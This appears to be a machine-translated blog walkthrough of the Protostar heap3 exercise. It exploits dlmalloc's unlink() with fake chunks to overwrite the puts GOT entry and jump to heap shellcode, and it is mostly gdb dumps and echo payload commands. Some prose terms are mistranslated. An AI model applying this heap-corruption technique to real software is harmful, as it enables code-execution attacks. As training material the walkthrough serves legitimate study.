RNRF 2021. 11. 3. 00:59

25. The Heap: dlmalloc unlink() exploit - bin.0x18

: In the previous video, we looked at the "free()" implementation of "dlmalloc".
: We had almost found a "unlink()" macro that could be used to write arbitrary data.

: We have to think and create different styles on one same subject while studying hacking.

: Let's take a look at what a heap looks like.
-> If you assign a certain size of "chunk," the size of the "chunk" returns the second word and "malloc" the address here.
-> This means that there is this area for user data.
-> The last bit of "chunk" size has a special meaning.
-> Once "chunk" is released, the last bit of chunks can be set later.

: Let's consider this "heap" setting.
-> We have chunks that we want to release, and then there is already chunks.
-> And the free chunks have two pointers, back and forth, pointing to different fries.
-> So they're on a double link list.
-> The free algorithm that now happens will combine the two blocks into one.
-> You do this by first using the link release list to release the available blocks from the linked list.
-> And we learned what it does.
-> Bring the pointing address forward and pointer to the front of the previous chunk.
-> Then take the reverse pointing address and place it in the next mass.
-> You can then point to the global offset table and write the forwarding address when you control the pointer of the free chunks to be disconnected.
-> We stopped here on the "0x17" video and didn't check what happened next.

: Next we will increase the size of the "chunk" we already have.
-> The block is then inserted into the double-connect list.
-> It takes one "chunk" and looks for "chunk" in the future.
-> Then update the pointer to include "chunk".
-> This is the whole magic of hip.

: Let's find out about Link Release Explorer.
-> Both of the articles you're looking for include a nice little trick to overcome the limits of "null byte."
-> Thus, when configuring a fake "chunk" that can be disconnected, the field does not need to include a "null byte."
-> That is, very large values should be used for the size.
-> But it is not useful because "heap" is not big.
-> But the clever idea shown in the Frague article takes advantage of how computers deal with the negatives.

: Let's quickly see what happens with 32-bit integer values.
-> For example, a very large number, "FFFFFFFC."
-> The decimal number is "4,294;967,292‬".
-> Now what happens if I add "0x64"?
-> “FFFFFFC + 64 = 1 0000 0060‬(hex)”, 32 bit does not seem to fit.
-> If you remove the first "1" you have a very small value. It is actually "0x60".
-> It is only "4" smaller than "0x64".
-> This means adding 4 billion from "100" to "FFFFFFFC" actually minus 4 from "64."
-> And I think it's really useful.
-> This value, which does not include "null byte," behaves like a very small subtraction.
-> “+FFFFFFFC” = “-4”
: If you look at the source code again, you can make a plan.
-> First of all, we must overflow the size of the "chunk" again.
-> Try "100" like the "0x17" video.
-> But we are also not interested in the first previous attempt at integration.
-> This way, there is no need to set up another fake "chunk.
-> Therefore, we make sure that the last bit of the block to be released is set to "1".
-> As a result of checking it, it is still in use.
-> We take the next "chunk" and then check the bits in use in "chunk" and if this is not set, disconnect and consolidate the corresponding blocks.
-> That is, two fake blocks, including the front and rear pointers, are required.
-> Try to use the address "heap" to overwrite the GOT.
-> And the second chunk shall have the lowest bit set to "0".
-> But we can't use a small size value.
-> However, it is used as an added offset when looking at how the size is used in the code.
-> Codes don't check if it's a funny giant "chunk."
-> It just adds up to the price.
-> And here's where the trick starts.
-> The size of "chunk" allows the use of "FFFFFFFC", resulting in "-4".

: Now let's think about what's going to happen.
-> Obtain the size of the corresponding "chunk" and add it to the current address to find the next "chunk".
-> "Chunk" is a fool who thinks the next "chunk" is here at "-4."
-> Now read the size of "chunk".
-> It can also be set to "FFFFFFFC".
-> Set the last bit and conclude that the previous block is not used.
-> Very clever and doesn't include "null byte."

: Let's see if you can fill up the "heap" with "strcpy."
-> "strcpy" stops at "null byte."
-> That means we have to use one of them to overflow the size of the "chunk" we want to unlock.
-> Obviously we want to "prev" the set of usage bits, so we have to overflow to "0x65".
-> It works because we don't spend more than that.
-> It ends with "null byte" and keeps the size clean.
-> Another "strcpy" can be used to fill "100" bytes until it becomes a strangely combined fake.
-> Create "chunk" with "FFFFFFFC" and then write two addresses.
-> Set one address to the global offset table, as in the previous video.
-> We will overwrite "put", the other will point to the first "heap".
-> This means that code execution can be redirected to this "heap" address and the first can be used.
-> Put the shell code in here using "strcpy".
-> Disconnects record some data from the global offset table.
-> This is a "heap" area, so keep the shell code short or jump over the smashed area.
-> Subsequent use of the shell code is continued.
-> But we just want to call the "winner()" function.

: Let's form an exploit.
-> gdb heap3
-> set disassembly-flavor intel
-> set pagination off
-> disassemble main
Dump of assembler code for function main:
0x08048889 <main+0>:    push   ebp
0x0804888a <main+1>:    mov    ebp,esp
0x0804888c <main+3>:    and    esp,0xfffffff0
0x0804888f <main+6>:    sub    esp,0x20
0x08048892 <main+9>:    mov    DWORD PTR [esp],0x20
0x08048899 <main+16>:   call   0x8048ff2 <malloc>
0x0804889e <main+21>:   mov    DWORD PTR [esp+0x14],eax
0x080488a2 <main+25>:   mov    DWORD PTR [esp],0x20
0x080488a9 <main+32>:   call   0x8048ff2 <malloc>
0x080488ae <main+37>:   mov    DWORD PTR [esp+0x18],eax
0x080488b2 <main+41>:   mov    DWORD PTR [esp],0x20
0x080488b9 <main+48>:   call   0x8048ff2 <malloc>
0x080488be <main+53>:   mov    DWORD PTR [esp+0x1c],eax
0x080488c2 <main+57>:   mov    eax,DWORD PTR [ebp+0xc]
0x080488c5 <main+60>:   add    eax,0x4
0x080488c8 <main+63>:   mov    eax,DWORD PTR [eax]
0x080488ca <main+65>:   mov    DWORD PTR [esp+0x4],eax
0x080488ce <main+69>:   mov    eax,DWORD PTR [esp+0x14]
0x080488d2 <main+73>:   mov    DWORD PTR [esp],eax
0x080488d5 <main+76>:   call   0x8048750 <strcpy@plt>
0x080488da <main+81>:   mov    eax,DWORD PTR [ebp+0xc]
0x080488dd <main+84>:   add    eax,0x8
0x080488e0 <main+87>:   mov    eax,DWORD PTR [eax]
0x080488e2 <main+89>:   mov    DWORD PTR [esp+0x4],eax
0x080488e6 <main+93>:   mov    eax,DWORD PTR [esp+0x18]
0x080488ea <main+97>:   mov    DWORD PTR [esp],eax
0x080488ed <main+100>:  call   0x8048750 <strcpy@plt>
0x080488f2 <main+105>:  mov    eax,DWORD PTR [ebp+0xc]
0x080488f5 <main+108>:  add    eax,0xc
0x080488f8 <main+111>:  mov    eax,DWORD PTR [eax]
0x080488fa <main+113>:  mov    DWORD PTR [esp+0x4],eax
0x080488fe <main+117>:  mov    eax,DWORD PTR [esp+0x1c]
0x08048902 <main+121>:  mov    DWORD PTR [esp],eax
0x08048905 <main+124>:  call   0x8048750 <strcpy@plt>
0x0804890a <main+129>:  mov    eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>:  mov    DWORD PTR [esp],eax
0x08048911 <main+136>:  call   0x8049824 <free>
0x08048916 <main+141>:  mov    eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>:  mov    DWORD PTR [esp],eax
0x0804891d <main+148>:  call   0x8049824 <free>
0x08048922 <main+153>:  mov    eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>:  mov    DWORD PTR [esp],eax
0x08048929 <main+160>:  call   0x8049824 <free>
0x0804892e <main+165>:  mov    DWORD PTR [esp],0x804ac27
0x08048935 <main+172>:  call   0x8048790 <puts@plt>
0x0804893a <main+177>:  leave
0x0804893b <main+178>:  ret
End of assembler dump.
-> In each window, let's configure one string for each parameter, each "strcpy".
-> Try to deal with the "strcpy" of the middle "chunk" first. This is because one "chunk" size is overwritten with the "101" of the third chunk.
-> break *0x080488d5
-> break *0x08048911
-> break *0x08048935
-> r
Starting program: /opt/protostar/bin/heap3

Breakpoint 1, 0x080488d5 in main (argc=1, argv=0xbffff864) at heap3/heap3.c:20
20      heap3/heap3.c: No such file or directory.
        in heap3/heap3.c
-> r AAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC

Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff824) at heap3/heap3.c:20
20      in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> c
Continuing.

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff824) at heap3/heap3.c:24
24      in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x43434343      0x43434343 # -> 0x00000065
0x804c060:      0x43434343      0x43434343      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> We use "echo" for it and count the number of characters needed to be sized.
-> Here in "chunk", write "0x65", which is "101".
(/tmp) -> echo -en "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x65" > B
-> The output can be redirected to the file "B" and then used in conjunction with "backtick" and "cat".
-> Then run it as a parameter of the "gdb" can investigate the "heap".
-> r AAAAAAAAAAAAAAAA `cat /tmp/B` CCCCCCCCCCCCCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAAAAAA `cat /tmp/B` CCCCCCCCCCCCCCCC

Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff804) at heap3/heap3.c:20
20      in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> c
Continuing.

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff804) at heap3/heap3.c:24
24      in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c040:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c050:      0x42424242      0x00000065      0x43434343      0x43434343
0x804c060:      0x43434343      0x43434343      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000 # -> fffffffc
0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> It looks perfect. The third "chunk" is now "0x65".
-> x 0x804c054+0x65
0x804c0b9:      0x00000000
-> Next, handle the third "chunk" after the overflow. Therefore, it is "100".
(/tmp) -> echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff” -> Keep going down.
-> So we fill out letters like "100" characters to fill in "chunk."
-> In the next "chunk," we're going to write a "fffffffc" for the previous trick.
-> So we fill out letters like "100" characters to fill in "chunk."
-> In the next "chunk," we're going to write a "fffffffc" for the previous trick.
-> Then comes the global offset table address and the "heap" address.
->  x/3i 0x8048790
0x8048790 <puts@plt>:   jmp    DWORD PTR ds:0x804b128
0x8048796 <puts@plt+6>: push   0x68
0x804879b <puts@plt+11>:        jmp    0x80486b0
-> x 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   xchg   esi,eax
-> x 0x804b128-12
0x804b11c <_GLOBAL_OFFSET_TABLE_+52>:   xchg   WORD PTR [eax+ecx*1],ax
-> Get the table address for "put" here and subtract "-12".
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c040:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c050:      0x42424242      0x00000065      0x43434343      0x43434343
0x804c060:      0x43434343      0x43434343      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
(/tmp) -> echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x08\xc0\x04\x08" > C
-> \xfc\xff\xff\xff\xfc\xff\xff\xff = size
-> \x1c\xb1\x04\x08 = GOT
-> \x08\xc0\x04\x08 = Heap
-> r AAAAAAAAAAAAAAAA `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAAAAAA `cat /tmp/B` `cat /tmp/C`

Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:20
20      in heap3/heap3.c
-> Continuing.

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:24
24      in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x41414141      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c040:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c050:      0x42424242      0x00000065      0x43434343      0x43434343
0x804c060:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c070:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c080:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c090:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0a0:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0b0:      0x43434343      0xfffffffc      0xfffffffc      0x0804b11c
0x804c0c0:      0x0804c008      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> The "heap" address is recorded at "+12" and the last "strcpy" comes the first chunk.
-> To call a "winner()" function.
-> Quickly search online assemblers to create shell codes.
-> x winner
0x8048864 <winner>:     0x83e58955
-> We'd like to page the address at all. To do this, you have to go through the register.
-> Therefore, you can move the address of the "winner" to "eax" and then call "eax".
(defuse.ca)-> mov eax, 0x8048864
   call eax
-> "\xB8\x64\x88\x04\x08\xFF\xD0"
-> The string representation of this shell code can be copied and written to "A".
(/tmp) -> echo -en "\xB8\x64\x88\x04\x08\xFF\xD0" > A
-> Now there are all three parameters, so you can run the program again.
-> r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`

Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:20
20      in heap3/heap3.c
-> c
Continuing.

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:24
24      in heap3/heap3.c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x048864b8      0x00d0ff08
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c040:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c050:      0x42424242      0x00000065      0x43434343      0x43434343
0x804c060:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c070:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c080:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c090:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0a0:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0b0:      0x43434343      0xfffffffc      0xfffffffc      0x0804b11c
0x804c0c0:      0x0804c008      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> x winner
0x8048864 <winner>:     0x83e58955
-> "puts call" "free" and "single step" Let's try to run.
-> r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`

Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:20
20      in heap3/heap3.c
-> c
Continuing.

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:24
24      in heap3/heap3.c
-> c
Continuing.

Breakpoint 3, 0x08048935 in main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:28
28      in heap3/heap3.c
-> si
0x08048790 in puts@plt ()
-> (Enter Key)
0x0804c008 in ?? ()
-> (Enter Key)
0x0804c00a in ?? ()
-> (Enter Key)
0x0804c00c in ?? ()
-> (Enter Key)
0x0804c00e in ?? ()
-> We followed "heap" but strangely the shell code was wrong.
-> x/5i 0x804c008
0x804c008:      sub    al,al
0x804c00a:      add    al,0x8
0x804c00c:      or     bh,bh
0x804c00e:      rol    BYTE PTR [eax],1
0x804c010:      sbb    al,0xb1
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x0804c028      0x00d0ff08
0x804c010:      0x0804b11c      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x00000000      0x42424242      0x42424242      0x42424242
0x804c040:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c050:      0x42424242      0x00000061      0x0804b194      0x0804b194
0x804c060:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c070:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c080:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c090:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0a0:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0b0:      0x00000060      0xfffffffc      0xfffffffc      0x0804b11c
0x804c0c0:      0x0804c008      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> You can tell it's a complete waste.
-> Here are some addresses instead of the shell code.
-> Therefore, metadata should be created for these values.
-> But we can simply point to another area of "heap" and fix it.
-> Now change the address and paste some characters in front of the shell code And try again.
(/tmp/C) -> echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x14\xc0\x04\x08" > C
(/tmp/A) -> echo -en "AAAAAAAAAAAA\xB8\x64\x88\x04\x08\xFF\xD0" > A
-> r
-> c
-> x/56wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x41414141      0x048864b8      0x00d0ff08      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c040:      0x42424242      0x42424242      0x42424242      0x42424242
0x804c050:      0x42424242      0x00000065      0x43434343      0x43434343
0x804c060:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c070:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c080:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c090:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0a0:      0x43434343      0x43434343      0x43434343      0x43434343
0x804c0b0:      0x43434343      0xfffffffc      0xfffffffc      0x0804b11c
0x804c0c0:      0x0804c014      0x00000000      0x00000000      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
-> c
-> x/5i 0x804c008
0x804c008:      sub    al,al
0x804c00a:      add    al,0x8
0x804c00c:      inc    ecx
0x804c00d:      inc    ecx
0x804c00e:      inc    ecx
-> x/20i 0x804c008
0x804c008:      sub    al,al
0x804c00a:      add    al,0x8
0x804c00c:      inc    ecx
0x804c00d:      inc    ecx
0x804c00e:      inc    ecx
0x804c00f:      inc    ecx
0x804c010:      inc    ecx
0x804c011:      inc    ecx
0x804c012:      inc    ecx
0x804c013:      inc    ecx
0x804c014:      mov    eax,0x8048864
0x804c019:      call   eax
0x804c01b:      add    BYTE PTR [ecx+esi*4],bl
0x804c01e:      add    al,0x8
0x804c020:      add    BYTE PTR [eax],al
0x804c022:      add    BYTE PTR [eax],al
0x804c024:      add    BYTE PTR [eax],al
0x804c026:      add    BYTE PTR [eax],al
0x804c028:      add    BYTE PTR [eax],al
0x804c02a:      add    BYTE PTR [eax],al
-> We take a step at it and arrive at "winner".
-> si
0x08048790 in puts@plt ()
-> (Enter Key)
0x0804c014 in ?? ()
-> (Enter Key)
0x0804c019 in ?? ()
-> (Enter Key)
winner () at heap3/heap3.c:8
8       in heap3/heap3.c
-> c
Continuing.
that wasn't too bad now, was it? @ 1572614471

Program received signal SIGSEGV, Segmentation fault.
0x0804c01b in ?? ()

: Let's do it without "GDB."
-> ./heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
that wasn't too bad now, was it? @ 1572614070
Segmentation fault
-> Success!